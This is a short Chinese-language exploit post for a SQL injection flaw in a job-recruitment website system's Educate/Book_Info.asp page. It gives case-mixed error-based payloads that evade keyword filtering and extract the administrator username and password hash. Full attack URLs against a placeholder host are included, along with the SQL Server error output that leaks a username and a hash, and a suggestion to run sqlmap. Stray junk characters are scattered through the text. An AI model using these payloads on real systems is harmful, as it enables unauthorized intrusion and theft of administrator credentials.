网络求职招聘人才网站系统正式版注入

admin

漏洞出现在Educate/Book_Info.asp

此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出

3 Z* x0 q  X' R- }) Q% V* M6 E7 vexp：如下
8 U! f+ a( }2 j查询管理账号：+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
  S+ S6 k  B$ d  r0 P查询管理密码：+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)

http://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)

- \- g0 K' |6 L$ z7 g, _Microsoft OLE DB Provider for SQL Server 错误 '80040e07'

( t4 s/ O) ~% T4 x1 C将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。
+ G" r1 k+ X. ~  G1 |8 J
2 B8 C$ {4 Y+ b: i/Educate/Book_Info.asp，行 8

http://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)

Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
& ?' L( v  Q: Z+ _& ~4 V7 d/ [
将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。
5 y' w( b! `$ y9 G$ e$ y4 ]- B
/Educate/Book_Info.asp，行 8
​